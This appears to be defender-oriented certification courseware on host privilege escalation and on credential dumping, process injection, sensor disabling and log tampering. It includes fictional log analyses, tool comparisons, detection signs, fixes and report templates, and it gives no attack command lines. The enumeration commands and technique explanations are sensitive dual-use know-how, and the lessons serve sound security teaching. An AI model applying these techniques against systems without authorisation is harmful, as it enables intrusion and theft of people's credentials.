Scheduled task or cron script writable (T1053.005, T1053.003)schtasks /query /v; ls -l /etc/cron.dThe scheduler runs the file as its ownerAdmin ownership, no write for others
Writable folder early in PATH (T1574.007)PATH, then icacls or ls -ldA bare name resolves to the first matchRemove it; use full paths
Same local admin password everywhere (T1078.003)LAPS status in a host surveyOne password opens many hostsWindows LAPS
Service identity holding SeImpersonatePrivilege (T1134.001)whoami /privIt can act as clients that connect to itLimit who connects; fix the foothold

The last row corrects a common belief: "it is not in Administrators, so it is low risk." A web application under Internet Information Services (IIS) runs as an application pool identity. A Common Gateway Interface (CGI) program runs as the web server's unprivileged user. So a web foothold usually lands as a service account, which can hold powerful rights outside any group.

C:\> whoami /priv      (sample output, trimmed)
Privilege Name                Description                               State
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled

Microsoft says services started by the Service Control Manager receive this right through the built-in Service group, and warns that an unauthorized holder could raise its access by getting a client to connect. Event 4672 lists it at logon. Treat a foothold with this right as one privileged client connection away from more.

Three ways to collect the evidence: GhostPack's survey tool, PowerShell and LOLbins

Seatbelt is a C# host survey from GhostPack, whose "safety checks" serve attackers and defenders alike. PowerShell is Microsoft's shell and scripting language, and the ISE is its graphical host for writing and debugging scripts. LOLbins are signed programs already on the system that can do more than their stated job. The ROE usually decide which you may use.

SeatbeltPowerShell and ISELOLbins
What it needsA build of your own (GhostPack publishes source, not binaries) and an ROE that allows a new toolNothing to installNothing to install
What it leavesA new executable in process logs, and a target for antivirus signaturesEvent 4104 when script block logging is onEvent 4688 with an odd parent or command line
Choose it whenYou want a wide survey quicklyYou cannot add files, or need one precise answerApplication control blocks the rest, or the ROE ask you to test detection

Seatbelt's sections cover UAC policy, LAPS, AppLocker, antivirus, audit settings, hotfixes, services and token privileges, as text or JSON. Some checks read user data such as browser details, so scope what you run. A fictional excerpt, in the tool's format:

====== UAC ======

  ConsentPromptBehaviorAdmin     : 5 - PromptForNonWindowsBinaries
  EnableLUA (Is UAC enabled?)    : 1

PowerShell comes with two wrong beliefs attached. The first is that the execution policy protects the host: Microsoft says it "isn't a security boundary", so never report it as a control. What does constrain PowerShell is application control, under which it runs automatically in ConstrainedLanguage mode.

The second is that its activity is invisible: with script block logging on, it records every script block it processes as event 4104.

The ISE is still on the exam, so know its status. Microsoft has stopped feature development and services it for security fixes. It gives the ISE no support in PowerShell 6 and later, and points people to Visual Studio Code. Left reachable on a locked-down host, it is a full script editor and runner.

Living off the land binaries, the exam's LOLbins, meet the LOLBAS project's criteria: Microsoft-signed, native or from Microsoft, with useful "unexpected" functionality. In February 2024, CISA, the NSA and the FBI called living off the land a hallmark of the Volt Typhoon actors. These actors kept access in some networks for at least five years, partly by avoiding malware that would raise alerts. A signature cannot help when the file is genuine, so defenders read context, as in this fictional event:

EventID 4688: A new process has been created.
  New Process Name:     C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe
  Token Elevation Type: %%1938
  Mandatory Label:      Mandatory Label\Medium Mandatory Level
  Creator Process Name: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

The file is Microsoft's, but a word processor has no reason to start a build tool. That lineage is the signal (ATT&CK T1127.001 and T1218). Command-line detail helps too, though that field stays empty until a policy turns it on. Microsoft publishes a list of signed programs to block under App Control, including msbuild.exe, mshta.exe and wmic.exe. Lesson 24 goes through the exam's named LOLBins.

The whole family at a glance

TechniqueWeakness it relies onToolsWhat defenders seeFix
Unquoted service path injection (T1574.009)Unquoted path with a space, plus a writable candidate foldersc qc, icacls, SeatbeltNew executable in a parent folder; event 4688 from an odd pathQuote the path; fix folder rights
Misconfigured endpoints (T1574.010, T1574.011, T1053, T1574.007)Users can change what a privileged process runs or readsicacls, Get-Acl, reg query, SeatbeltFile or registry change, then a privileged startRemove write rights; Windows LAPS
UAC bypass (T1548.002)Local admin on a standard token; auto-elevating program trusts user-controlled datawhoami /groups, SeatbeltRegistry writes; elevated process with odd lineageStandard accounts; always prompt; Administrator protection
Setuid and setgid abuse (T1548.001)Unneeded bit on a flawed or feature-rich programfind, ls -l, dpkg -SEffective user differs from real user; integrity alertschmod u-s; nosuid; patch
Sudo rule abuse (T1548.003), shell escape, restricted shell escapeAllowed program can start other commands; limits live in the shell or rule, not the accountsudo -l, echo $PATH, GTFOBinsSudo log line; audit record of a shell under the programsudoedit; NOEXEC; no escape-capable programs; real isolation
Kiosk escapeA full operating system under one appHands, plus a keyboard if the ROE allowEvent 4688 under the kiosk account; AppLocker 8004, 8007Assigned Access, Keyboard Filter, App Control, firmware password
Kernel or software flaw (T1068)Missing patchuname -r, hotfix listCrashes; exploit behavior in endpoint toolsPatch
Token impersonation (T1134.001)Service identity holds SeImpersonatePrivilegewhoami /privEvent 4672; service account starting odd processesLimit who connects; fix the foothold

Exam cues: what the stem says, and the pairs people confuse

The stem saysIt points toDo not confuse it with
Path with spaces and no quotes; file planted higher upUnquoted service path injectionWeak service permissions, where the real file is replaced
Quoted path, but Users can modify the programService file permissions weaknessUnquoted path: quoting did not help here
Admin user, medium integrity, no prompt, now high integrityUAC bypassVertical escalation from a standard user
Prompt asks for an administrator's passwordA standard user; a UAC bypass does not applyConsent prompt, which asks only Yes or No
s in the owner's execute slotSetuid; check the owner firstSetgid: s in the group slot
Pager or editor allowed by sudoShell escape; recommend sudoedit or NOEXECA sudo vulnerability needing a patch
Print or file dialog on a public terminal reaches the desktopKiosk escapeShell escape, which starts inside a command-line program
Survey the host; new tools allowedSeatbeltBloodHound, which maps the domain, not one host
No new files allowed on the hostPowerShell and built-in commandsSeatbelt, which must be built and copied in
Signed Microsoft program with an odd parentLOLbinsA signature being proof of safe use

How a privilege escalation finding is reported

Here is FleetSync, written as you would for a client. Nothing was written to the host.

  • Title: Unquoted service path in a user-writable folder lets a standard user run code as LocalSystem on FIN-WS14.
  • Severity: High, CVSS 3.1 base 7.8 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H). It needs a local account and only a reboot, which standard users may perform on this workstation. Not rated Critical because it requires a foothold on this host, and it was not demonstrated, per the ROE.
  • Evidence: sc qc FleetSync shows BINARY_PATH_NAME : C:\Apps\Fleet Sync\sync.exe and SERVICE_START_NAME : LocalSystem. icacls C:\Apps shows NT AUTHORITY\Authenticated Users:(I)(M). whoami /groups confirms a standard account. No file was created and no service restarted.
  • Root cause: the vendor's installer registers the path without quotation marks and defaults to a folder under C:\, which inherits Modify for Authenticated Users (CWE-428, ATT&CK T1574.009).
  • Remediation: quote the path; move the application under Program Files or remove the inherited write entry; ask the vendor to fix the installer; search the fleet with the listing query. Retest with the same two commands.

As starting judgments that context can change: an unquoted path with no writable folder is Low. A UAC bypass by an existing administrator is Medium at most, reported against the over-privileged account. A sudo rule on an escape-capable program is High for the accounts it names. A kiosk escape takes its severity from the account and network behind it. A missing patch takes its severity from the advisory, with "not exploited, per ROE" stated plainly.

Common misconceptions

  • "An unquoted path always means SYSTEM." It needs a writable candidate folder, a more privileged service account and a restart.
  • "A UAC bypass makes a standard user an administrator." It unlocks a token the user already has. A standard user has none.
  • "A restricted shell or a one-program sudo rule contains the user." Any allowed program that can start a command defeats it.
  • "PowerShell's execution policy stops scripts." Microsoft says it is not a security boundary. Application control is the real constraint.

Recap

  • Test every candidate with three questions: what runs with more privilege, what does it trust that I can change, and what makes it run again?
  • For an unquoted path, Windows tries each space-delimited prefix plus .exe, so read sc qc for the account and icacls for each candidate folder. A folder made directly under C:\ inherits Modify for Authenticated Users.
  • "Group used for deny only" plus a medium label marks an administrator on a standard token, the only user a UAC bypass can help. Microsoft does not service UAC bypasses.
  • Setuid runs a program with its owner's rights, so read the owner column first; Linux ignores the bit on scripts; a standard program can still need a patch, as PwnKit showed.
  • Sudo's control ends when the program starts, so pagers and editors in a rule allow shell escapes; recommend sudoedit or NOEXEC.
  • A kiosk escape reaches a general-purpose desktop under the same account, so the kiosk account and network set its severity.
  • Seatbelt needs a build and leaves a new executable; PowerShell needs nothing but can log to event 4104; LOLbins are signed, so defenders read lineage in event 4688.
  • Report the chain you proved, state what you did not do, and fix the root cause.

Sources

  1. MITRE. (2026). MITRE ATT&CK Enterprise, version 20 (the techniques named in this lesson). T1574.009; T1548.002. MITRE. (n.d.). CWE-428: Unquoted search path or element. cwe.mitre.org
  2. Microsoft. (n.d.). CreateProcessA function (security remarks); icacls; 4688: A new process has been created; 4672: Special privileges assigned to new logon; Impersonate a client after authentication; Shut down the system; AlwaysInstallElevated; Windows LAPS overview; Application pool identities. CreateProcessA; event 4688
  3. Microsoft. (n.d.). How User Account Control works; Administrator protection; Microsoft security servicing criteria for Windows. Administrator protection; servicing criteria
  4. Microsoft. (n.d.). Assigned Access overview; Assigned Access recommendations; Keyboard Filter; Using Event Viewer with AppLocker; Human Interface Devices. recommendations
  5. Microsoft. (n.d.). Windows PowerShell ISE; about_Execution_Policies; about_Logging_Windows; about_Language_Modes; Applications that can bypass App Control. execution policies
  6. Schroeder, W., and Christensen, L. (n.d.). Seatbelt (version 1.2.1), README and source. GhostPack. github.com
  7. LOLBAS Project. (n.d.). Living off the land binaries, scripts and libraries. github.com; Pinna, E., and Cardaci, A. (n.d.). GTFOBins. gtfobins.github.io
  8. Miller, T. C., et al. (n.d.). sudoers manual. sudo.ws; Free Software Foundation. (n.d.). Bash reference manual, section 6.10. gnu.org; Kerrisk, M. (Ed.). (n.d.). execve(2), capabilities(7). man7.org
  9. Qualys Research Team. (2022, January 25). PwnKit: Local privilege escalation vulnerability discovered in polkit's pkexec (CVE-2021-4034). blog.qualys.com
  10. Cybersecurity and Infrastructure Security Agency, National Security Agency, Federal Bureau of Investigation, et al. (2024, February 7). PRC state-sponsored actors compromise and maintain persistent access to U.S. critical infrastructure (AA24-038A). cisa.gov
  11. Docker Inc. (n.d.). Linux post-installation steps for Docker Engine. docs.docker.com; Tenable. (n.d.). Microsoft Windows unquoted service path enumeration (Nessus plugin 63155). tenable.com
Key terms
Privilege escalation
Gaining rights beyond those you were given, either vertically to an administrator, SYSTEM or root, or horizontally to another user at the same level.
Unquoted service path
A Windows service path with spaces and no quotation marks, which makes Windows try several file names in turn; it is exploitable only if someone can write to a candidate folder.
User Account Control
A Windows feature that runs an administrator's programs on a standard token until an elevation prompt is approved; Microsoft treats it as defense in depth, not a security boundary.
Setuid
A Unix permission bit that makes a program run with the rights of the file's owner instead of the caller; Linux ignores it on scripts.
Sudo
A Unix program that runs permitted commands as another user, usually root, according to rules in the sudoers file.
Shell escape
A feature of an allowed program, such as an editor or pager, that starts another command and so steps outside the rule that allowed the program.
Restricted shell
A shell such as rbash that blocks actions such as changing directory or PATH; its limits belong to the shell, so programs it may run can step outside them.
Interactive kiosk
A public computer that shows one application over a full operating system; a kiosk escape reaches that operating system through dialogs, shortcuts, ports or firmware.
Seatbelt (GhostPack tool)
A C# host survey that reports security settings such as UAC policy, LAPS and token privileges; its authors publish source only, so you must build it.
Living off the land binaries (LOLbins)
Signed programs already on a system that can do more than their stated job, used to avoid adding new tools; defenders spot them by parent process and command line.

Credentials in Memory, Code in Other Processes: Dumping, Injection, Evasion, and Log Tampering

  • Explain what credential dumping, process injection (including process hollowing and library injection), payload obfuscation, circumventing security tools and log tampering are, and the weakness each one relies on.
  • Read host evidence and decide what it shows, how serious it is and which control would have stopped or revealed it.
  • Describe what Mimikatz, Rubeus, Certify, PsExec and Evil-WinRM are for and what evidence each leaves behind.
  • Write a report finding for a host-based attack that gives severity, evidence, root cause and remediation.

Four minutes of log lines from a fictional file server

It is 02:14 at Brightwater Credit Union, a fictional firm. A monitoring tool has sent a page about a file server called FS-02. You are the analyst on call, and this is everything it sent. The format is invented for this lesson, so treat it as sample output.

02:07:41  FS-02  EDR  process_access  src=helper.exe (PID 4120, parent cmd.exe)  target=lsass.exe  access=full
02:07:42  FS-02  EDR  file_created    path=C:/Windows/Temp/tmp8841.dat  size=61MB  by=helper.exe
02:11:15  FS-02  SCM  service_stopped name=BWSensor  by=account svc-backup
02:11:52  FS-02  EDR  agent_heartbeat_missed
02:13:09  FS-02  SEC  audit_log_cleared by=account svc-backup
02:13:40  FS-02  NET  inbound tcp/5985 from 192.0.2.77  session account=svc-backup

Each line is a small fact. Together they tell a story in the order a careful intruder would follow: take secrets from memory, switch off the sensor, erase the record, then use the secrets from another machine. This lesson names every step in that story, explains why it works, and shows what a defender can see and what stops it. A process ID (PID) is the number Windows gives each running program, which is why PID 4120 appears above.

You will learn the techniques from the defender's side. That is the level the exam tests and the level a report needs. Nothing here is a recipe, and no command lines for attack tools appear.

Exam objectives: 4.4 (credential dumping, circumventing security tools, payload obfuscation, library injection, process hollowing and injection, log tampering; Mimikatz, Rubeus, Certify, PsExec, Evil-WinRM). Lesson 15 covered the first half of 4.4: privilege escalation, misconfigured endpoints, shell and kiosk escapes, Seatbelt, PowerShell and the PowerShell Integrated Scripting Environment (ISE), and living off the land binaries (LOLbins).

Before you read further: permission, scope and what this lesson will not do

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. The lab for this lesson only reads fictional evidence printed on the page. You run nothing against any system.

The rules of engagement (ROE) matter more here than in most lessons, because every technique below can damage a live system or blind its defenders. Credential dumping collects secrets that belong to real people. Injection into a process can crash a business application. Disabling a sensor leaves the client unprotected while you work. Clearing a log destroys evidence the client may need for an unrelated real incident.

So an ROE normally says one of three things about each technique: forbidden, allowed only against named test hosts, or allowed only as a recorded demonstration with the client's security team watching. Your job is to know which, and to ask before you act when the document is silent.

Credential dumping and the Local Security Authority Subsystem Service

Credential dumping means getting copies of stored login secrets from a computer, such as password hashes, tickets or keys, so they can be reused. It is not guessing passwords. The secrets already exist on the machine, and the question is who is allowed to read them.

On Windows the main store is the Local Security Authority Subsystem Service (LSASS), a system process named lsass.exe. After a user signs in, Windows creates several kinds of credential material and keeps them in LSASS process memory so the user does not have to retype a password for every network resource.[1] That convenience is the weakness. Anyone who can read that memory, or a saved copy of it, holds material that can be used to sign in elsewhere. ATT&CK notes that an administrative user or SYSTEM can harvest this material and use it for lateral movement, meaning moving from one machine to the next.[1]

Notice the condition. Reading LSASS memory needs administrator or SYSTEM rights. So credential dumping is almost never the first step. It follows privilege escalation (Lesson 15), and it is what turns control of one machine into access to many. Other stores exist too, such as the local account database, cached domain logons and secrets kept by services, and Linux hosts keep hashes in files readable only by root.

Why the ROE limit it. A dump may contain the passwords or hashes of every person who signed in recently, including executives and administrators who are not part of the test. Most ROE require encrypted storage, a note of exactly which accounts were exposed, and a rule that the material is deleted or handed over at the end. Many forbid dumping from domain controllers or production servers without a named approval.

What defenders see. Reading LSASS is a rare thing for ordinary programs to do. ATT&CK's detection idea is a process that does not normally touch LSASS opening it with full access and then creating a large file or changing the Registry.[1] That is exactly the first two lines of the FS-02 log. Real attackers use ordinary tools for this, including Task Manager and Sysinternals utilities, so the tool's name proves little and the behavior proves a lot.[1]

What fixes or reduces it. Microsoft's added protection for LSA stops processes that are not protected from reading its memory or injecting code into it, and it is on by default in Windows 11.[5] Plug-ins loaded into LSA must then carry a Microsoft signature, so the feature has an audit mode that logs what would fail to load before you enforce it.[5] ATT&CK also lists Credential Guard, which isolates secrets from the rest of the system but is not on by default, has hardware needs and does not stop every form of dumping.[1] The rest is hygiene: attack surface reduction (ASR) rules that guard LSASS, disabling the old WDigest protocol and restricting NTLM, unique local administrator passwords on every host, and keeping domain accounts out of local administrator groups.[1]

Key idea: credential dumping depends on one fact, that secrets sit in memory while users are signed in. You cannot patch that away, so defenders protect the process that holds them and watch for anything that reaches into it.

Mimikatz, Rubeus and Certify compared: three tools, three kinds of secret

The exam lists three tools that handle credentials. They are easy to mix up, so compare them by what each one touches.

Mimikatz is the best known credential tool on Windows. It is open source and was written to show weaknesses in how Windows keeps secrets. It reads credential material that sits in memory and in saved memory copies, and ATT&CK records it in dozens of real intrusions, from state-backed groups to ransomware crews.[1] Its use leaves evidence: a file written to disk, antivirus alerts that name it, an unusual process opening LSASS, and often a later sign-in from a place the account never used before. Because it is so widely known, endpoint products detect its file and its behavior. Testers therefore expect it to be caught, and a catch is a useful result for the report. There is also a practical warning. Run casually on a client machine, it collects other people's secrets, which is why the ROE decide.

Rubeus is a different animal. It is a C# toolset for raw interaction with Kerberos, the ticket-based sign-in system used in Windows domains, and for abusing it.[6] Where Mimikatz is about what is stored on one host, Rubeus is about the tickets that prove identity across a domain. Its use shows up on the domain controller as unusual ticket requests, such as requests with odd encryption choices, tickets asked for by accounts that rarely ask, or a ticket used from a machine that did not request it. A ticket is a time-limited proof of identity that the domain hands out after a sign-in, so a stolen ticket works like a borrowed badge until it expires. Stolen secrets and stolen tickets therefore feed each other.

Certify targets neither passwords nor tickets. It is a C# tool to find and abuse misconfigurations in Active Directory Certificate Services (AD CS), the part of a domain that issues digital certificates.[6] A certificate can be used as a login credential, so a badly configured certificate template can let a low-privilege account obtain a certificate that identifies someone far more powerful. The authors released it with a 2021 research paper called Certified Pre-Owned, which also contains prevention and detection advice, and they chose not to publish compiled binaries, so users must build it themselves.[6] Evidence of its use sits in the certificate authority's own logs: who requested what, from which template, and who was named in the request.

Credential tools compared
ToolWhat it works onWhat it needs firstEvidence it leaves
MimikatzSecrets in memory and saved memory copiesAdministrator or SYSTEM on the hostFile on disk, antivirus alerts, LSASS access, later reuse of the account
RubeusKerberos tickets and ticket requestsA domain foothold, sometimes plus stolen materialOdd ticket requests and uses in domain controller logs
CertifyCertificate templates and certificate authority settingsAny domain account that can reach the authorityCertificate requests in the authority's logs

None of these three is the attack. Each is a convenient way to ask a question the weakness already allows. The fix is always the weakness: protected LSA, short ticket lifetimes, tight certificate templates, and logging that someone actually reads.

Process injection, process hollowing and library injection: borrowing a trusted name

Process injection means getting code to run inside the memory of a different, already running program.[2] Ordinary programs each live in their own protected memory. Injection is possible because the operating system also offers legitimate features that let one process work inside another, for debuggers, accessibility tools and security products. Attackers abuse those same features.

The reason to do it is disguise and reach. Code running inside another process inherits that process's name, its network permissions and its privileges, and security tools that judge by process name see only the trusted host.[2] ATT&CK files injection under two goals, evading process-based defenses and escalating privilege.[2] Two named forms are on the exam.

  • Library injection makes another process load a dynamic-link library (DLL), a file of reusable code that Windows programs load as needed. ATT&CK lists this as DLL injection.[2] The program then runs the library's code as if it were part of itself. A related weakness is when a program loads a library by name and searches folders in an order that someone can write to; Lesson 15's unquoted paths are a cousin of that idea, since both exploit where Windows looks.
  • Process hollowing starts with a legitimate program and replaces what it contains with different code, so the process still carries the trusted program's name while doing something else.[2] The name in the process list is true. The content is not.

What makes it possible. The attacker needs enough rights over the target process, usually the same account or an administrator, and nothing in the system forbidding it. That is why protected processes matter: LSASS refuses injection from unprotected processes once the added protection is on.[5]

Why the ROE limit it. Injecting into the wrong process can crash it, and some processes are the business application itself or a security agent. Testers are normally limited to named test hosts and told which processes are off limits.

What defenders see. ATT&CK's detection idea is correlation: calls that write into another process's memory, a thread started inside that other process, and unexpected libraries loading there.[2] Practical signs are a process that suddenly makes network connections it never made before, a trusted program started by an odd parent, and a program whose image on disk does not match what is in memory. Memory scanning in an endpoint detection and response (EDR) product, a sensor that watches process behavior on a host, is the usual way to catch hollowing.

What fixes or reduces it. Mitigations are layered. Endpoint products can block known injection behavior, and ATT&CK notes attack surface reduction rules that stop Office programs from injecting code.[2] Application control limits which libraries and programs may load at all. Least privilege matters most, because injection into another account's process needs rights the attacker should not have. On Linux, the same source recommends limiting the debugging call ptrace to privileged users, with SELinux or AppArmor adding process restrictions.[2]

Remember: injection does not give an attacker new powers by itself. It lets them borrow the identity, rights and reputation of a process that already has them, so the defense is to limit what each process may do and to notice when it does something new.

Circumventing security tools: disabling, blinding or bypassing the sensors

The exam's phrase circumventing security tools covers any attempt to make a host's defenses see less or do less. ATT&CK's name for the family is Disable or Modify Tools. It includes stopping services, ending processes, editing a tool's configuration or Registry keys, and preventing updates.[3] It also includes blocking the signals tools depend on, such as Windows event tracing or the path that forwards logs to a central system.[3]

This works for a plain reason: a security agent is software running on the very machine it watches. Anyone with administrator or SYSTEM rights there has a lot of power over it, unless the agent protects itself. Tampering protection in the product, a protected service, and central policy that the local administrator cannot change all raise the bar. None is perfect.

Why the ROE limit it. This one is often forbidden outright or limited to a lab host. Switching off a client's antivirus or sensor on a production machine removes the protection they pay for, and a real intruder could use the gap. If the engagement's purpose is to test detection, the ROE usually say to try only what the client's security team has agreed to watch for, and to stop when a tool blocks you. A block is a result, not an obstacle to defeat.

What defenders see. A security agent that stops or misses its regular check-in is itself an alert. In the FS-02 log that is the line agent_heartbeat_missed. Other signs are a service-stopped event for a security product, new exclusion paths added to an antivirus, changed Registry settings and an agent version that does not match the fleet.

What fixes or reduces it. ATT&CK suggests several controls.[3]

  • Check that every expected host reports in to the central console, and treat silence as a finding.
  • Review exclusion lists for paths nobody can explain.
  • Use application control so only approved security software runs.
  • Restrict file, Registry and service permissions so ordinary administrators cannot stop the agent.

Many organizations also separate duties, so the person who administers servers cannot change the security policy for them.

Payload obfuscation: making the same code look different

A payload is the part of an attack that does the damage or gives the access. Payload obfuscation means hiding its content, by encrypting, encoding, compressing or splitting it, so that scanners and analysts have a harder time recognizing it.[4] The code does the same thing, but the bytes on disk or on the wire look different.

It works because many older defenses are signature based: they match known patterns. A pattern match fails if the pattern is changed. Obfuscation therefore defeats the weakest layer, not the whole stack. ATT&CK also describes payloads split into several harmless-looking files that reveal their function only when put together, and compressed or password-protected archives that a scanner cannot open.[4]

Why the ROE limit it. A tester does not need to prove that a clever disguise can fool a product. The useful question is whether the client's layers catch something once it runs. Many ROE therefore allow tools to be detected as normal, or ask the tester to say in advance which evasion is in scope. A tester also has a duty not to leave live, disguised malware on a client network.

What defenders see. The disguise rarely survives running. Observers can look at behavior rather than appearance: what the program does, what it contacts and what it changes. Signs include large encoded strings in command lines, scripts that decode themselves, archives from outside that need a password, and a decoder program starting just before another process misbehaves.

What fixes or reduces it. ATT&CK points to antivirus plus the Antimalware Scan Interface (AMSI), a Windows feature that lets security products inspect scripts after they are decoded, and to attack surface reduction rules that block execution of potentially obfuscated payloads.[4] Add script logging, application control, and blocking of password-protected archives at the mail gateway. The principle is to inspect at the point of execution, when the disguise has to come off.

Tools that never write an ordinary program file are an extension of the same idea. A payload can be packaged in a compiled but unlinked form such as the Common Object File Format (COFF), the standard structure of an object file, and run inside another process. Defenders then lean on the behavior and memory signals described under injection, because there is no ordinary file to scan.

Log tampering: erasing or disabling the record

Log tampering is changing, deleting or switching off the records a system keeps of what happened. ATT&CK groups it with disabling tools, and its sub-techniques name clearing Windows event logs, disabling or modifying the Windows event log, disabling Linux audit logging, and clearing Linux or macOS system logs.[3] (Older ATT&CK versions gave log clearing its own ID, T1070.001. The current site redirects it into the Disable or Modify Tools family, T1685.005, so expect either number in reference material.)[3]

It is possible because a log written on a machine is controlled by whoever controls the machine. If the only copy is local, an administrator can remove it. The attacker's purpose is to delay detection and to make the investigation harder to finish.

Why the ROE limit it. Of everything in this lesson, this is the one a tester almost never does. Logs belong to the client, and they may be needed for audits, fraud cases or a real attack in progress. Standard practice, which Lesson 26 returns to, is to leave logs alone unless the contract specifically authorizes changing them, and then only after a backup. The honest way to test detection is to leave logs intact and report whether the client noticed.

What defenders see. Clearing a log is loud. Windows writes an event when the audit log is cleared, and the log's own history shows a gap with nothing before a certain time. The FS-02 line audit_log_cleared is that signal. Silence is also evidence: a busy server with no events for twenty minutes, or a forwarded stream that stops.

What fixes or reduces it. Copy logs away from the host as they are written. A security information and event management (SIEM) system collects logs from many sources into one searchable place that a local administrator cannot edit. With forwarding in place, clearing the local copy only adds one more alert, because the original lines already left the building. ATT&CK also suggests relaunching forwarding mechanisms at recurring intervals and applying change management to their settings.[3] Add write-once storage, a retention policy longer than most intrusions stay hidden, and an alert on log-cleared events.

PsExec and Evil-WinRM: two ways to run commands on another computer

These two exam tools are about remote execution, which is how an attacker uses stolen credentials from the earlier sections. Both are also real administration tools, so the same traffic can be legitimate. Lesson 24 shows how remote management is used to move through a network, so here the focus is what each one is and what it leaves behind.

PsExec is a Microsoft Sysinternals utility that runs programs on other Windows systems without first installing client software there, and it gives full interaction with console programs.[7] Administrators use it every day. Microsoft's own page warns that some antivirus products flag the PsTools suite as a remote administration threat, because malware has used them.[7] That tells you what its footprint looks like: a network sign-in with administrative rights, a remote service or process appearing on the target for a short time, and a command running as a high-privilege account. Defenders correlate those events and ask whether this administrator should be doing this from this machine.

Evil-WinRM is a shell built for penetration testing over Windows Remote Management (WinRM), Microsoft's implementation of the WS-Management protocol.[8] Its project says WinRM usually listens on port 5985, and that the tool works only with valid credentials and permissions.[8] The tool uses the PowerShell Remoting Protocol under the hood.[8] The FS-02 log's last line, inbound traffic on tcp/5985 from an address that is not an administration host, shows its footprint: an unexpected WinRM session, then PowerShell activity under that account. It is one of the places script block logging earns its keep.

Remote execution tools compared
ToolWhat it is forWhat it needsEvidence it leaves
PsExecRunning a program on another Windows computer, with console interactionAdministrative rights on the target and network access to itAdministrative network sign-in, a short-lived remote service or process, and security product warnings
Evil-WinRMAn interactive PowerShell shell over WinRM, built for testersValid credentials, a WinRM listener (often port 5985) and permission to use itInbound WinRM session, PowerShell logging under that account

The fix is not to ban the tools, because the protocols are built into Windows. Limit who may use remote management and from where, turn on the logs, use unique local administrator passwords so one stolen secret does not open every host, and alert when an administrative sign-in comes from a machine that is not an administrator's workstation.

The whole family at a glance

Host-based techniques in this lesson
TechniqueWeakness it relies onToolsWhat defenders seeFix
Credential dumpingSecrets held in LSASS memory while users are signed inMimikatz, Rubeus, Certify (for tickets and certificates)Odd process opening LSASS, large new file, later reuse of the accountLSA protection, Credential Guard, unique local admin passwords, fewer privileged sign-ins
Process injection, including library injectionLegitimate features that let one process act inside anotherPart of many attack toolkitsMemory writes and new threads in another process, unexpected librariesLeast privilege, application control, ASR rules, EDR
Process hollowingA trusted name is not proof of trusted contentSameImage on disk differs from memory, odd parent processEDR memory scanning, application control
Circumventing security toolsAgent runs on the host it protectsAdmin tools and abused driversMissed heartbeat, stopped service, new exclusionsTamper protection, central policy, check-in monitoring
Payload obfuscationSignature matching fails when the bytes changeEncoders, packers, archivesSelf-decoding scripts, encoded strings, password-protected archivesAMSI, ASR rules, behavior detection, script logging
Log tamperingWhoever controls the host controls its local logsBuilt-in logging commandsLog-cleared event, gaps, stopped forwardingSIEM forwarding, write-once storage, alert on clearing
Remote executionStolen credentials plus remote management left openPsExec, Evil-WinRMAdministrative sign-in from a new machine, WinRM sessionRestrict sources, logging, unique admin passwords

Worked example: reading the FS-02 log

Return to the six lines at the start. Work through them with four questions: what happened, in what order, how much do we know, and what would the report say?

  1. 02:07:41 and 02:07:42. An unfamiliar program named helper.exe, started by a command shell, opened lsass.exe with full access and then created a 61 MB file in a temporary folder. A program with no business touching LSASS followed by a large file is the credential-dumping pattern.[1] Treat it as: the secrets of everyone recently signed in to FS-02 may now be in that file.
  2. 02:11:15 and 02:11:52. The service BWSensor, the host's security agent, was stopped by account svc-backup, and the agent stopped reporting. Stopping a sensor is the Disable or Modify Tools family.[3] It came four minutes after the dump, so it looks deliberate, not an accident.
  3. 02:13:09. The audit log was cleared by the same account. This is log tampering, and it explains why this page of evidence is so short.
  4. 02:13:40. Someone from 192.0.2.77, an address not on the administration list, opened a remote management session as svc-backup. The account had been used from the machine itself, then from the network. This is the use of what was taken.

The conclusion is that svc-backup is compromised and probably so is every account that signed in to FS-02 recently. A fuller answer also says what is not known: how the intruder got administrator rights, and what 192.0.2.77 did next. That is where the SIEM copy of the logs becomes valuable, since the local log was cleared but the forwarded lines were not, unless forwarding stopped at 02:11.

Second run, one input changed. Suppose the first line instead shows the process_access came from the organization's approved backup agent, and no new file was created. The same lines now read very differently: backup software legitimately reads many things, there is no sign of a copy of memory, and the log clearing might be an administrator's housekeeping. You would still check the stopped sensor and the log clear, because those are suspicious regardless, but you would probably rate the incident far lower. The facts that carry the severity are who opened LSASS and whether a file followed. That is why you read the whole chain before rating any single line.

The core of it: a log line is a clue, and a chain of lines is evidence. Rate the chain.

Exam cues: what the stem says, and the pairs people confuse

Question wording and the answer it points to
The stem saysThe answer points to
A process opens lsass.exe and a large file appearsCredential dumping
A trusted process name makes network connections it never made beforeProcess injection (or hollowing)
The program on disk is legitimate but its memory contents are differentProcess hollowing
A process loads an unexpected DLLLibrary injection (or a library search-order weakness)
The sensor stops reporting and a service was stoppedCircumventing security tools
Encoded strings, a self-decoding script, a password-protected archivePayload obfuscation
Log-cleared event, a gap in time, forwarding stoppedLog tampering
Tool for Kerberos ticketsRubeus
Tool for certificate templates in a domainCertify
Tool that reads credential material from memoryMimikatz
Sysinternals utility to run a program on another hostPsExec
Interactive shell over WinRM (port 5985)Evil-WinRM

Two pairs cause most errors. Injection versus hollowing: injection adds code to a running process; hollowing replaces the contents of a legitimate program so the name is borrowed. Obfuscation versus evasion of tools: obfuscation changes how the payload looks, while circumventing tools attacks the defender's software or its signals directly. Also note a scenario that asks what a tester should do about log clearing: the usual answer is not to clear logs, and to report whether the logs and alerts worked.

How a host-based attack finding is reported

A finding for this family usually covers a control that failed, not the trick. Writing "Mimikatz works" helps nobody. Write what the attacker could reach, and the single change that most reduces the risk. If the ROE forbade a technique, say so, and report what you could confirm without doing it.

  • Title: Domain service account with local administrator rights on a file server exposes cached credentials in LSASS memory.
  • Severity: High (illustrative CVSS 3.1 base 7.8, AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) because a compromise of the account gives all recently signed-in accounts. It rises to Critical if domain administrators sign in to that server. Justify the rating by what you observed, and say what you did not test.
  • Evidence: a screenshot or log extract showing LSA protection not enabled, the list of accounts with local administrator rights, and the security tool's alert (or silence) when the approved test ran.
